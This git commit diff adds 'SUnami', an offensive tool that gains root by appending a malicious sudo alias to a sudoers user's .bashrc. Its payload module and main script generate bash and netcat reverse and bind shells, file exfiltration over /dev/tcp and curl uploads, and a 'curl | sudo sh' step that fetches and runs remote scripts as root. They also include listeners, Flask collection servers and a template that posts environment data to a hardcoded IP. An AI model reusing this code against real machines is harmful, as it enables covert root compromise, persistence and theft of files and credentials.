commit 9ff0fe2182295e9cebb8586aecdf6b357d987f44 Author: alchemist Date: Tue Aug 8 01:04:13 2023 +0300 added help command; made -listen and -local flag easier to use diff --git a/README.md b/README.md new file mode 100644 index 0000000..10a038a --- /dev/null +++ b/README.md @@ -0,0 +1,28 @@ +# SUnami + Struggling with linux priveledge escelation? well then its time to cheese it with SUnami. + 0 interaction privesc is always recommended but not always achievable. For this reason we have created a tool for the most trivial priv esc in history (with a few drawbacks). + This is not an exploit just a cheap but effective trick. The usecase is when you have a shell on a sudoers account but no sudo cred. + It works by manipulating sudo via aliasing in their .bashrc file to prepend a malicious attacker specified command first in the background. + This does mean you will need to wait for sudo to be executed. + flags denoted with -- are required. with - optional. + the -local flag denotes that you want sunami to modify the .bashrc file on the current machine instead of producing output (not suggested for stealth reasons). + # Authors + witchdocsec, TheA1ch3m1st + # Notice + using the shells and socket based exfil will throw an error in the targets shell if your listener isn't active. be sure to clean up after gaining root. For the most stealth with file exfil we suggest the built in flask server. Currently our built in listener works best with bash shells. for nc shells using ncs own listener is recommended. + + +# File Exfiltration +I used passwd so as not to leak my hash for this demo but rest assured you can read whatever file you wish +![image](https://github.com/witchdocsec/SUnami/assets/107813117/a7f26322-5fca-4030-9725-13dc5a02ac44) +## useage: + sunami.py [-local {1,0}] exfilfile [--file FILE] [--method {postflask,nc,pysocket}] [--ip IP] [--port PORT] +# Root Shell +![image](https://github.com/witchdocsec/SUnami/assets/107813117/06000a59-b7da-45f3-8258-89618aa02a1f) +## useage: + sunami.py [-local {1,0}] genshell [--ip IP] [--port PORT] [-shell SHELL] [-protocol PROTOCOL] [-listen {1,0}] +# Run From Server +![image](https://github.com/witchdocsec/SUnami/assets/107813117/91127128-64e1-4493-bf85-068bc3a04972) +## useage + sunami.py [-local {1,0}] rfs [-h] --ip IP --port PORT --file FILE [--vars VARS [VARS ...]] [--schema SCHEMA] + diff --git a/lib/__pycache__/banner.cpython-311.pyc b/lib/__pycache__/banner.cpython-311.pyc new file mode 100644 index 0000000..ba1c9af Binary files /dev/null and b/lib/__pycache__/banner.cpython-311.pyc differ diff --git a/lib/__pycache__/parsing.cpython-311.pyc b/lib/__pycache__/parsing.cpython-311.pyc new file mode 100644 index 0000000..1120d5f Binary files /dev/null and b/lib/__pycache__/parsing.cpython-311.pyc differ diff --git a/lib/__pycache__/payloads.cpython-311.pyc b/lib/__pycache__/payloads.cpython-311.pyc new file mode 100644 index 0000000..b138031 Binary files /dev/null and b/lib/__pycache__/payloads.cpython-311.pyc differ diff --git a/lib/banner.py b/lib/banner.py new file mode 100644 index 0000000..36b4ddb --- /dev/null +++ b/lib/banner.py @@ -0,0 +1,27 @@ +subanner='''\033[48;2;41;171;226m \033[48;2;36;127;192m \033[m +\033[48;2;41;171;226m \033[38;2;40;159;217;48;2;41;171;226m▄\033[38;2;36;121;187;48;2;36;127;192m▄\033[m +\033[48;2;41;171;226m \033[38;2;33;134;176;48;2;41;171;226m▄\033[38;2;31;123;162;48;2;41;171;226m▄▄\033[38;2;33;134;176;48;2;41;171;226m▄\033[48;2;41;171;226m \033[38;2;39;150;210;48;2;39;151;210m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;40;165;218;48;2;41;171;226m▄\033[38;2;27;107;140;48;2;41;171;226m▄\033[38;2;7;7;7;48;2;38;157;207m▄\033[38;2;7;7;7;48;2;17;55;71m▄▄\033[38;2;7;7;7;48;2;9;18;21m▄\033[48;2;7;7;7m \033[38;2;7;7;7;48;2;9;18;21m▄\033[38;2;7;7;7;48;2;17;55;71m▄▄\033[38;2;7;7;7;48;2;38;157;207m▄\033[38;2;26;97;128;48;2;41;171;226m▄\033[38;2;40;165;218;48;2;41;171;226m▄\033[48;2;41;171;226m \033[48;2;39;150;210m \033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;13;34;43;48;2;41;171;226m▄\033[38;2;7;7;7;48;2;18;60;78m▄\033[48;2;7;7;7m \033[38;2;7;7;7;48;2;18;60;78m▄\033[38;2;13;34;43;48;2;41;171;226m▄\033[48;2;41;171;226m \033[48;2;39;150;210m \033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;40;168;221;48;2;41;171;226m▄\033[38;2;16;53;69;48;2;35;143;188m▄\033[38;2;7;7;7;48;2;10;20;24m▄\033[38;2;65;65;65;48;2;7;7;7m▄\033[38;2;233;233;233;48;2;61;61;61m▄\033[38;2;255;255;255;48;2;100;100;100m▄\033[38;2;245;245;245;48;2;81;81;81m▄\033[38;2;205;205;205;48;2;10;10;10m▄\033[48;2;7;7;7m \033[38;2;205;205;205;48;2;10;10;10m▄\033[38;2;245;245;245;48;2;81;81;81m▄\033[38;2;255;255;255;48;2;100;100;100m▄\033[38;2;233;233;233;48;2;61;61;61m▄\033[38;2;65;65;65;48;2;7;7;7m▄\033[38;2;7;7;7;48;2;9;19;23m▄\033[38;2;15;47;61;48;2;34;139;183m▄\033[38;2;40;167;221;48;2;41;171;226m▄\033[48;2;41;171;226m \033[38;2;36;123;189;48;2;39;150;210m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[48;2;40;164;217m \033[48;2;7;7;7m \033[38;2;148;148;148;48;2;10;10;10m▄\033[38;2;68;68;68;48;2;187;187;187m▄\033[38;2;0;0;0;48;2;6;6;6m▄\033[48;2;0;0;0m \033[38;2;0;0;0;48;2;110;110;110m▄\033[38;2;244;244;244;48;2;253;253;253m▄\033[38;2;220;220;220;48;2;162;162;162m▄\033[38;2;39;39;39;48;2;7;7;7m▄▄\033[38;2;136;136;136;48;2;162;162;162m▄\033[38;2;0;0;0;48;2;182;182;182m▄\033[48;2;0;0;0m \033[38;2;75;75;75;48;2;218;218;218m▄\033[48;2;255;255;255m \033[38;2;148;148;148;48;2;10;10;10m▄\033[48;2;7;7;7m \033[48;2;40;164;217m \033[48;2;41;171;226m \033[38;2;40;169;223;48;2;41;171;226m▄\033[38;2;22;81;105;48;2;41;171;226m▄\033[38;2;15;48;62;48;2;39;160;211m▄\033[38;2;24;91;119;48;2;39;161;213m▄\033[48;2;41;171;226m \033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;7;7;7;48;2;10;23;27m▄\033[48;2;7;7;7m \033[38;2;7;7;7;48;2;215;215;215m▄\033[38;2;214;214;214;48;2;8;8;8m▄\033[38;2;34;34;34;48;2;0;0;0m▄\033[38;2;2;2;2;48;2;0;0;0m▄\033[38;2;69;69;69;48;2;0;0;0m▄\033[38;2;249;249;249;48;2;244;244;244m▄\033[38;2;162;162;162;48;2;213;213;213m▄\033[38;2;7;7;7;48;2;35;35;35m▄\033[38;2;7;7;7;48;2;37;37;37m▄\033[38;2;162;162;162;48;2;186;186;186m▄\033[38;2;112;112;112;48;2;0;0;0m▄\033[48;2;0;0;0m \033[38;2;157;157;157;48;2;75;75;75m▄\033[48;2;255;255;255m \033[38;2;7;7;7;48;2;215;215;215m▄\033[48;2;7;7;7m \033[38;2;7;7;7;48;2;10;23;27m▄\033[48;2;41;171;226m \033[38;2;38;155;205;48;2;41;171;226m▄\033[38;2;20;72;94;48;2;41;169;223m▄\033[38;2;7;7;7;48;2;38;157;208m▄\033[48;2;7;7;7m \033[38;2;12;29;36;48;2;7;7;7m▄\033[38;2;36;145;191;48;2;31;123;162m▄\033[48;2;41;171;226m \033[38;2;35;118;185;48;2;40;161;220m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[48;2;7;7;7m \033[38;2;7;7;7;48;2;102;102;102m▄\033[38;2;7;7;7;48;2;232;232;232m▄\033[38;2;19;15;10;48;2;224;224;224m▄\033[38;2;182;128;44;48;2;242;242;242m▄\033[38;2;251;176;59;48;2;252;189;91m▄\033[38;2;251;176;59;48;2;240;174;72m▄\033[38;2;251;176;59;48;2;220;155;52m▄▄\033[38;2;251;176;59;48;2;240;174;72m▄\033[38;2;251;176;59;48;2;250;187;89m▄\033[38;2;188;132;46;48;2;223;223;223m▄\033[38;2;20;16;10;48;2;223;223;223m▄\033[38;2;7;7;7;48;2;255;255;255m▄\033[38;2;7;7;7;48;2;102;102;102m▄\033[48;2;7;7;7m \033[38;2;23;82;107;48;2;41;171;226m▄\033[38;2;7;8;9;48;2;41;171;226m▄\033[38;2;7;7;7;48;2;10;23;29m▄\033[48;2;7;7;7m \033[38;2;9;15;17;48;2;7;7;7m▄\033[38;2;41;171;226;48;2;17;55;71m▄\033[48;2;41;171;226m \033[38;2;38;141;203;48;2;41;171;226m▄\033[38;2;35;116;183;48;2;35;118;185m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[48;2;7;7;7m \033[38;2;34;25;13;48;2;37;28;13m▄\033[38;2;237;166;56;48;2;251;176;59m▄\033[48;2;251;176;59m \033[38;2;237;166;56;48;2;251;176;59m▄\033[38;2;34;25;13;48;2;37;28;13m▄\033[48;2;7;7;7m \033[38;2;23;82;107;48;2;7;7;7m▄\033[38;2;41;171;226;48;2;30;116;153m▄\033[48;2;41;171;226m \033[38;2;40;158;216;48;2;40;166;222m▄\033[38;2;35;116;183;48;2;36;123;189m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;34;139;183;48;2;41;171;226m▄\033[38;2;8;10;11;48;2;29;115;151m▄\033[48;2;7;7;7m \033[38;2;8;8;7;48;2;78;56;22m▄\033[38;2;241;169;57;48;2;246;173;58m▄\033[48;2;251;176;59m \033[38;2;241;169;57;48;2;246;173;58m▄\033[38;2;8;8;7;48;2;78;56;22m▄\033[48;2;7;7;7m \033[38;2;40;164;217;48;2;8;11;12m▄\033[38;2;41;171;226;48;2;33;131;172m▄\033[48;2;41;171;226m \033[38;2;37;134;197;48;2;41;171;226m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;31;122;161;48;2;41;171;226m▄\033[38;2;8;14;16;48;2;31;122;161m▄\033[48;2;7;7;7m \033[38;2;114;114;114;48;2;7;7;7m▄\033[38;2;204;204;204;48;2;7;7;7m▄\033[38;2;253;215;156;48;2;251;176;59m▄\033[48;2;251;176;59m \033[38;2;253;215;156;48;2;251;176;59m▄\033[38;2;204;204;204;48;2;7;7;7m▄\033[38;2;114;114;114;48;2;7;7;7m▄\033[48;2;7;7;7m \033[38;2;35;144;190;48;2;10;20;24m▄\033[38;2;41;171;226;48;2;33;133;175m▄\033[48;2;41;171;226m \033[38;2;36;124;189;48;2;40;162;219m▄\033[38;2;35;116;183;48;2;36;123;188m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;38;158;209;48;2;41;171;226m▄\033[38;2;13;35;45;48;2;37;153;201m▄\033[38;2;7;7;7;48;2;10;22;26m▄\033[48;2;7;7;7m \033[38;2;117;117;117;48;2;7;7;7m▄\033[38;2;255;255;255;48;2;83;83;83m▄\033[48;2;255;255;255m \033[38;2;255;255;255;48;2;252;205;132m▄▄\033[48;2;255;255;255m \033[38;2;255;255;255;48;2;83;83;83m▄\033[38;2;117;117;117;48;2;7;7;7m▄\033[48;2;7;7;7m \033[38;2;21;72;94;48;2;39;161;213m▄\033[48;2;41;171;226m \033[38;2;41;170;225;48;2;41;171;226m▄\033[38;2;36;127;192;48;2;40;166;222m▄\033[38;2;35;116;183;48;2;36;121;187m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;36;149;197;48;2;41;171;226m▄\033[38;2;12;33;42;48;2;40;166;219m▄\033[48;2;7;7;7m \033[38;2;160;160;160;48;2;80;80;80m▄\033[48;2;255;255;255m \033[38;2;160;160;160;48;2;80;80;80m▄\033[48;2;7;7;7m \033[38;2;13;30;43;48;2;14;40;52m▄\033[38;2;35;116;183;48;2;38;140;202m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;11;27;34;48;2;41;171;226m▄\033[38;2;7;7;7;48;2;10;21;26m▄\033[48;2;7;7;7m \033[38;2;17;53;68;48;2;7;7;7m▄\033[38;2;14;41;52;48;2;7;7;7m▄\033[38;2;7;9;10;48;2;7;7;7m▄\033[48;2;7;7;7m \033[38;2;71;71;71;48;2;7;7;7m▄\033[48;2;255;255;255m \033[38;2;71;71;71;48;2;7;7;7m▄\033[48;2;7;7;7m \033[38;2;8;13;16;48;2;12;26;38m▄\033[38;2;27;85;133;48;2;34;110;174m▄\033[48;2;35;116;183m \033[m +\033[48;2;41;171;226m \033[38;2;40;164;221;48;2;41;171;226m▄\033[38;2;38;142;203;48;2;30;118;155m▄\033[38;2;35;116;183;48;2;8;13;15m▄\033[38;2;35;116;183;48;2;7;7;7m▄▄\033[38;2;35;116;183;48;2;27;84;131m▄▄\033[38;2;35;116;183;48;2;36;130;193m▄\033[38;2;35;116;183;48;2;29;99;146m▄\033[38;2;13;30;43;48;2;9;14;18m▄\033[48;2;7;7;7m \033[48;2;224;224;224m \033[48;2;255;255;255m \033[48;2;224;224;224m \033[48;2;7;7;7m \033[38;2;13;30;43;48;2;9;14;18m▄\033[38;2;35;116;183;48;2;28;87;137m▄\033[48;2;35;116;183m \033[m +\033[38;2;35;118;185;48;2;41;171;226m▄\033[38;2;35;117;184;48;2;39;152;211m▄\033[48;2;35;116;183m \033[48;2;13;30;43m \033[48;2;7;7;7m \033[38;2;100;100;100;48;2;7;7;7m▄\033[38;2;249;249;249;48;2;224;224;224m▄\033[48;2;255;255;255m \033[38;2;249;249;249;48;2;224;224;224m▄\033[38;2;100;100;100;48;2;7;7;7m▄\033[48;2;7;7;7m \033[48;2;13;30;43m \033[48;2;35;116;183m \033[m +\033[48;2;35;116;183m \033[38;2;35;116;183;48;2;21;62;96m▄\033[48;2;7;7;7m \033[38;2;47;47;47;48;2;108;108;108m▄\033[38;2;235;235;235;48;2;252;252;252m▄\033[48;2;255;255;255m \033[38;2;235;235;235;48;2;252;252;252m▄\033[38;2;47;47;47;48;2;108;108;108m▄\033[48;2;7;7;7m \033[38;2;35;116;183;48;2;21;62;96m▄\033[48;2;35;116;183m \033[m +\033[48;2;35;116;183m \033[38;2;33;108;169;48;2;29;93;147m▄\033[38;2;14;33;48;48;2;7;7;7m▄\033[48;2;7;7;7m \033[48;2;224;224;224m \033[48;2;255;255;255m \033[48;2;224;224;224m \033[48;2;7;7;7m \033[38;2;14;33;48;48;2;7;7;7m▄\033[38;2;33;108;169;48;2;29;93;147m▄\033[48;2;35;116;183m \033[m +\033[48;2;35;116;183m \033[38;2;113;138;138;48;2;35;116;183m▄\033[38;2;158;150;112;48;2;37;117;182m▄\033[38;2;251;176;59;48;2;44;119;178m▄\033[38;2;251;176;59;48;2;17;14;9m▄▄\033[38;2;251;176;59;48;2;225;222;217m▄\033[38;2;251;176;59;48;2;255;252;247m▄▄\033[38;2;251;181;72;48;2;255;252;248m▄\033[38;2;253;219;165;48;2;255;255;255m▄\033[38;2;255;253;251;48;2;255;255;255m▄\033[48;2;255;255;255m \033[38;2;255;253;251;48;2;255;255;255m▄\033[38;2;253;219;165;48;2;255;255;255m▄\033[38;2;251;181;72;48;2;255;252;248m▄\033[38;2;251;176;59;48;2;255;252;247m▄▄\033[38;2;251;176;59;48;2;225;222;217m▄\033[38;2;251;176;59;48;2;17;14;9m▄▄\033[38;2;251;176;59;48;2;44;119;178m▄\033[38;2;158;150;112;48;2;37;117;182m▄\033[38;2;113;138;138;48;2;35;116;183m▄\033[48;2;35;116;183m \033[m +\033[48;2;35;116;183m \033[38;2;85;86;133;48;2;35;116;183m▄▄\033[38;2;98;132;146;48;2;35;116;183m▄\033[38;2;251;176;59;48;2;165;152;108m▄\033[38;2;251;176;59;48;2;245;174;62m▄\033[48;2;251;176;59m \033[38;2;251;176;59;48;2;251;185;82m▄\033[38;2;252;206;132;48;2;255;255;255m▄\033[48;2;255;255;255m \033[38;2;252;206;132;48;2;255;255;255m▄\033[38;2;251;176;59;48;2;251;185;82m▄\033[48;2;251;176;59m \033[38;2;251;176;59;48;2;245;174;62m▄\033[38;2;251;176;59;48;2;165;152;108m▄\033[38;2;217;59;26;48;2;35;116;183m▄\033[38;2;203;14;14;48;2;35;116;183m▄\033[38;2;99;77;118;48;2;35;116;183m▄\033[38;2;85;86;133;48;2;35;116;183m▄▄\033[38;2;78;90;140;48;2;35;116;183m▄\033[48;2;35;116;183m \033[m +\033[48;2;35;116;183m \033[38;2;35;116;183;48;2;70;95;148m▄\033[38;2;140;52;78;48;2;154;43;63m▄\033[38;2;183;26;34;48;2;204;13;13m▄\033[38;2;194;19;23;48;2;204;13;13m▄\033[38;2;204;13;13;48;2;249;169;57m▄\033[38;2;204;13;13;48;2;251;176;59m▄▄▄▄▄▄▄▄▄▄▄▄\033[38;2;204;13;13;48;2;239;141;68m▄\033[38;2;204;13;13;48;2;219;84;84m▄▄\033[38;2;204;13;13;48;2;239;141;68m▄\033[38;2;204;13;13;48;2;251;176;59m▄▄▄▄▄▄▄▄▄▄▄▄\033[38;2;204;13;13;48;2;249;169;57m▄\033[48;2;204;13;13m \033[38;2;198;17;19;48;2;204;13;13m▄\033[38;2;183;26;34;48;2;204;13;13m▄\033[38;2;183;26;34;48;2;198;17;19m▄\033[38;2;103;75;115;48;2;90;83;128m▄\033[48;2;35;116;183m \033[m +\033[48;2;35;116;183m \033[38;2;35;116;183;48;2;75;92;143m▄\033[38;2;35;116;183;48;2;112;69;105m▄▄▄▄▄\033[38;2;42;112;176;48;2;202;14;15m▄\033[38;2;42;112;176;48;2;204;13;13m▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄\033[38;2;38;114;180;48;2;150;46;67m▄\033[38;2;35;116;183;48;2;112;69;105m▄▄▄▄\033[38;2;35;116;183;48;2;90;82;127m▄\033[38;2;35;116;183;48;2;36;116;182m▄\033[48;2;35;116;183m \033[m +\033[48;2;35;116;183m \033[m +''' +with open("lib/banner.txt","r") as b: + subanner+=f"\n{b.read()}" \ No newline at end of file diff --git a/lib/banner.txt b/lib/banner.txt new file mode 100644 index 0000000..bb87da5 --- /dev/null +++ b/lib/banner.txt @@ -0,0 +1,8 @@ + _____ _ _ _ + / ____| | | | | (_) + | (___ | | | | _ __ __ _ _ __ ___ _ + \___ \ | | | | | '_ \ / _` | | '_ ` _ \ | | + ____) | | |__| | | | | | | (_| | | | | | | | | | + |_____/ \____/ |_| |_| \__,_| |_| |_| |_| |_| + + \ No newline at end of file diff --git a/lib/parsing.py b/lib/parsing.py new file mode 100644 index 0000000..07de9ea --- /dev/null +++ b/lib/parsing.py @@ -0,0 +1,32 @@ +import argparse +#may need to swap flags +def parser(): + parser=argparse.ArgumentParser(description="sunami argument parser") + parser.add_argument("-local", action="store_true") + subparse=parser.add_subparsers(dest="command") + + genshellparser=subparse.add_parser("genshell") + genshellparser.add_argument("--ip") + genshellparser.add_argument("--port") + genshellparser.add_argument("--shelltype", default="rev") + genshellparser.add_argument("--shell", default="bash") + genshellparser.add_argument("-protocol", default="tcp") + genshellparser.add_argument("-listen", action="store_true") + + exfilfileparser=subparse.add_parser("exfilfile") + exfilfileparser.add_argument("--file") + exfilfileparser.add_argument("--method", choices=["postflask","nc","pysocket"]) + exfilfileparser.add_argument("--ip") + exfilfileparser.add_argument("--port") + + rfsparser=subparse.add_parser("rfs") + rfsparser.add_argument("--ip", required=True) + rfsparser.add_argument("--port", required=True) + rfsparser.add_argument("--file", required=True) + rfsparser.add_argument("--vars",nargs="+") + rfsparser.add_argument("--schema", default="http") + + helpparser=subparse.add_parser("help") + + args = parser.parse_args() + return args diff --git a/lib/payloads.py b/lib/payloads.py new file mode 100644 index 0000000..a16266d --- /dev/null +++ b/lib/payloads.py @@ -0,0 +1,36 @@ +class Shells: + class Rev: + def bash(ip,port,protocol): + return f"bash -c \\\"/bin/bash -i >& /dev/{protocol}/{ip}/{port} 0>&1 &\\\"; " + def nc(ip,port,protocol): + return f"bash -c \\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f &\\\"; " + def nce(ip,port,protocol): + return f"bash -c \\\"nc {ip} {port} -e /bin/bash &\\\" ;" + class Bind: + def ncbind(ip,port,protocol): + return f"rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l {ip} {port} > /tmp/f &; " + + def bash(ip,port,shell,protocol): + return f"bash -c \\\"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 & \\\"; " +class Exfil: + def socket(ip,port,file): + return f"cat {file} &> /dev/tcp/{ip}/{port} ;" + def pflask(ip, port, file): + return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; " + +class RFS: + def run(ip,port,schema): + return f"bash -c \\\"curl {schema}://{ip}:{port}/rfs | sudo sh\\\" &> /dev/null; " + + + +func_dict = { + 'bash':Shells.Rev.bash, + 'nc':Shells.Rev.nc, + 'nce':Shells.Rev.nce + +} + +func_dict2 = { + 'nc':Shells.Bind.ncbind +} \ No newline at end of file diff --git a/sunami.py b/sunami.py new file mode 100644 index 0000000..617127b --- /dev/null +++ b/sunami.py @@ -0,0 +1,149 @@ +import lib.payloads as payloads +import lib.parsing as parsing +import lib.banner +import socket +import os +import sys +import time +print(lib.banner.subanner) +args=parsing.parser() +result="" +escapedres="" + +def routeres(comm, local): + if local: + localexec(comm) + else: + display(comm) + +def display(comm): + result=f"alias sudo=\"sudo {comm} sudo\";" + pastetemp=f"paste the following into the infected sudoers .bashrc file:\n\t{result}" + escapedres=result.replace("\"","\\\"") + runtemp=f"or run the following command:\n\techo \"{escapedres}\" >> $HOME/.bashrc\n" + print(pastetemp) + print(runtemp) + +def localexec(comm): + print("works") + result=f"alias sudo=\"sudo {comm} sudo\";" + home=os.environ["HOME"] + with open(f"{home}/.bashrc","a") as rc: + rc.write(f"\n{result}") + +def genshell(ip, port, protocol, shelltype, shell): + if shelltype == "bind": + return payloads.func_dict2[shell](ip, port, protocol) + else: + return payloads.func_dict[shell](ip, port, protocol) + +if args.command == "genshell": + cmd="" + comm=genshell(args.ip, args.port, args.protocol, args.shelltype, args.shell) + routeres(comm,args.local) + if args.listen: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.bind((args.ip, int(args.port))) + s.listen(1) + conn, addr = s.accept() + with conn: + while True: + data = conn.recv(1024).decode("utf-8") + sys.stdout.write(data) + cmd=input() + cmd+="\n" + conn.send(cmd.encode("utf-8")) + time.sleep(1) + sys.stdout.write("\033[A" + data.split("\n")[-1]) + elif args.shelltype == "bind": + print(f"on your machine run the following:\n\tnc {args.ip} {args.port}") + else: + print(f"on your machine run the following:\n\tnc -lnvp {args.port}") + +if args.command == "exfilfile": + if args.method == "postflask": + comm=payloads.Exfil.pflask(args.ip, args.port, args.file) + routeres(comm, args.local) + from flask import Flask, request + app = Flask(__name__) + @app.route("/up",methods=["POST"]) + def upl(): + if request.files["file"]: + print(request.files["file"].read()) + return "" + if __name__ == "__main__": + app.run(host=args.ip, port=int(args.port)) + + else: + comm=payloads.Exfil.socket(args.ip, args.port, args.file) + routeres(comm,args.local) + + if args.method == "pysocket": + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.bind((args.ip, int(args.port))) + s.listen() + conn, addr = s.accept() + with conn: + while True: + data = conn.recv(1024) + if data: + print(data) + break + + if args.method == "nc": + print(f"on your machine run the following:\n\tnc -lnvp {args.port}") + +if args.command == "rfs": + comm=payloads.RFS.run(args.ip, args.port, args.schema) + routeres(comm,args.local) + from flask import Flask, request, render_template + app = Flask(__name__) + @app.route("/rfs",methods=["GET"]) + def rfs(rfvs=args.vars): + if rfvs: + rfsvars={v.split(":",1)[0]:v.split(":",1)[1] for v in rfvs} + else: + rfsvars="" + return render_template(os.path.join("rfs",args.file),rfsvars=rfsvars) + @app.route("/l",methods=["POST"]) + def listen(): + for key in request.form.keys(): + print(f"{key}:{request.form[key]}") + return "" + if __name__ == "__main__": + app.run(host=args.ip, port=int(args.port)) + +if args.command == "help": + print(""" +SUnami + +help outputs this page + +genshell generates the shell to be edited in the bashrc file as an alias + --ip ip to connect to + --port port to connect to + --shelltype type of shell to use (reverse, bind) - default is reverse + --shell type of shell to generate - default is bash + reverse bash, nc, nce + bind nc + -protocol type of protocol, will not affect most shells (tcp, udp) - default is tcp + -listen will automatically run a listener after outputting the shell (1, 0) + +exfilfile exfiltrates files using several methods + --file file to exfiltrate + --method method to use (postflask, nc, pysocket) + --ip ip to send to + --port port to send to + +rfs runs flask server serving your sh files to run from the attacker machine + --ip ip to run server on + --port port to run server on + --file file to run on infected machine + --vars : - sets variables in the selected script using jinja2 template syntax - default is no variables + --schema schema to use (http, https) - default http + +usages: +sunami.py genshell [-h] [--ip IP] [--port PORT] [--shelltype SHELLTYPE] [--shell SHELL] [-protocol PROTOCOL] [-listen {1,0}] +sunami.py exfilfile [-h] [--file FILE] [--method {postflask,nc,pysocket}] [--ip IP] [--port PORT] +sunami.py rfs [-h] --ip IP --port PORT --file FILE [--vars VARS [VARS ...]] [--schema SCHEMA] + """) \ No newline at end of file diff --git a/templates/rfs/getenvs.sh b/templates/rfs/getenvs.sh new file mode 100644 index 0000000..e138aca --- /dev/null +++ b/templates/rfs/getenvs.sh @@ -0,0 +1,2 @@ +myvariable={{rfsvars["myvariable"]}}; +curl -X POST -d "recieved=$myvariable&user=$USER&shell=$SHELL&pwd=$PWD&home=$HOME" http://192.168.1.146:5000/l